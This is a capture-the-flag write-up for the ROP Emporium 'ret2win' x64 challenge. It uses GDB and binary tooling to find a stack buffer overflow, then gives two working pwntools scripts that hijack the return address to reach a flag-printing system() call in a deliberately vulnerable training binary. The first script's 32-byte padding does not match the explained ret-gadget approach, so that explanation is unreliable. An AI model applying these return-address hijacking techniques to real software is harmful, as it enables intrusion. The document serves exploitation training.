Rop Emporium ret2win x64 Writeup
ret2win
Download and unzip the challenge binary. We see that it is a 64-bit ELF that is not stripped its symbol info.
$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
Run it:
$ ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
Segmentation fault
The binary tells us that it will try to fit up to 56 bytes of user input into a 32 byte buffer. This will obviously cause a buffer overflow. I slam in a bunch of A’s and we see a Segmentation Fault has occurred.
Examine the segfault with:
$ dmesg -t | tail -1
traps: ret2win[7621] general protection fault ip:400755 sp:7ffd0c122038 error:0 in ret2win[400000+1000]
If this were a 32-bit binary, we would see the instruction pointer (ip) being overwritten with 41414141, the hex representation of “A”. However, since this is a 64-bit binary, the addresses must fall within the canonical address space of 0x0000'0000'0000'0000 to 0x0000'7FFF’FFFF’FFFF for low addresses. This will come into play later, but for now let’s continue on with analyzing the binary.
Checking Protections
Using checksec
we see the binary has NX enabled, meaning we cannot execute shellcode on the stack.
$ checksec ret2win
[*] '/home/kali/ropemporium/_ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
There is no stack canaries or ASLR to worry about. We could also use the following tool from the radare2
tool suite to
check the security measures.
$ rabin2 -I ret2win
arch x86
baddr 0x400000
binsz 6739
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
nx true
os linux
pic false
relocs true
relro partial
rpath NONE
sanitize false
static false
stripped false
subsys linux
va true
Examine Exported Functions
Let’s examine the exported functions to see some of the functions created by the programmer.
$ rabin2 -qs ret2win | grep -ve imp -e ' 0 '
0x00601058 8 stdout
0x00601060 1 completed.7698
0x004006e8 110 pwnme
0x00400756 27 ret2win
0x004007f0 2 __libc_csu_fini
0x00601058 8 stdout@@GLIBC_2.2.5
0x00400800 4 _IO_stdin_used
0x00400780 101 __libc_csu_init
0x004005e0 2 _dl_relocate_static_pie
0x004005b0 43 _start
0x00400697 81 main
Of interest, we see main, pwnme, and ret2win. As the challenge name suggests, we likely need to overflow the buffer and change the instruction pointer to return to the ret2win function. Time to debug the program in GDB!
Debugging with GDB
I will be using GDB (the GNU Debugger) with GEF plugin (GDB Enhanced Features) https://github.com/hugsy/gef.
Commands:
gdb -q ret2win
disass main
We see two calls to puts() which prints some of the strings we saw earlier. You can examine them with x/s 0x400808
if you want.
Next, disassembly the pwnme function. Two things that stick out are:
- A buffer of size 32 bytes (0x20) is allocated with
lea rax, [rbp-0x20]
- The read function will read up to 56 bytes (0x38) from user input
We already new this from the message that is displayed when running the binary, but it is always good to verify it.
Commands:
disass pwnme
Now we need to figure out exactly how many bytes to overwrite the buffer and the base pointer to get to the instruction pointer. It will likely be 40 since the buffer is 32 bytes and rbp is 8 bytes, but let’s confirm this.
Since I am using gef, I will use the built-in pattern
command to fuzz with.
Commands:
pattern create 60
run # paste in the 60 bytes
We successfully generated a segfault, but remember that the instruction pointer will not be overwritten in this way since this is not a 32 bit binary. Next, we need to use pattern search
to see how many bytes it took to get to rip.
Do this by seeing which bytes are on top of the stack (rsp). One benefit of using gef is that is prints stack values automatically
for you. You could find this out in gdb by running x/24g $rsp
to examine 24 eight-byte values from the top of the stack.
Sweet, so it takes 40 bytes to get to the instruction pointer/program counter (rip). Next we need to add a valid address for rip to point to. Initially, I tried the address of the ret2win function (0x00400756) but this did not work.
If we read the Common pitfalls section of the Rop Emporium guide, we see a note about stack alignment.
The MOVAPS issue
If you’re segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
Essentially this is telling us that the 64-bit calling convention demands that the stack is 16 byte aligned before calling another function. We can ensure by either:
- By placing a ret instruction before calling the ret2win address, or
- Jumping further into the ret2win function
I will showcase both ways.
Exploit time!
To create my exploit, I will be using pwntools and Python.
Solution 1: Pad with extra ret instruction
For the first solution we will pad with the address of a valid ret instruction. In gdb, disassemble the ret2win function and use the ret found there.
We see there is a ret at address 0x400770
. Below is the exploit1.py script:
#!/usr/bin/env python
# ret2win - since movaps requires the stack to be 16-byte aligned before a call instruction,
# we need to either pad our ROP with a ret instruction or return further into a function
# to skip the push instruction.
# Here we take the first approach and pad with an extra ret.
from pwn import *
io = process("./ret2win")
payload = b"A" * 32 # 32 byte buffer
payload += p64(0x400770) # addr of ret for padding
payload += p64(0x400764) # addr of ret2win system() call
io.sendline(payload)
print(io.recvall().decode())
Run it to get the flag.
$ python exploit1.py
[+] Starting program './ret2win': Done
[+] Recieving all data: Done (300B)
[*] Program './ret2win' stopped with exit code 0
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Solution 2: Jump further into the function
We also could have gone to an address further inside the ret2win function. I chose address 0x400764
, which is the address
that loads the string “/bin/cat flag.txt” into edi before calling system().
Here is the exploit:
#!/usr/bin/env python
# ret2win - since movaps requires the stack to be 16-byte aligned before a call instruction,
# we need to either pad our ROP with a ret instruction or return further into a function
# to skip the push instruction.
# Here we take the second approach and return deeper in the ret2win function.
from pwn import *
io = process("./ret2win")
payload = b"A" * 40 # 32 byte buffer + 8 byte base pointer (rbp)
payload += p64(0x400764) # addr inside ret2win
io.sendline(payload)
print(io.recvall().decode())
Run it to get the flag!
$ python exploit2.py
[+] Starting program './ret2win': Done
[+] Recieving all data: Done (300B)
[*] Program './ret2win' stopped with exit code 0
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
ROPE{a_placeholder_32byte_flag!}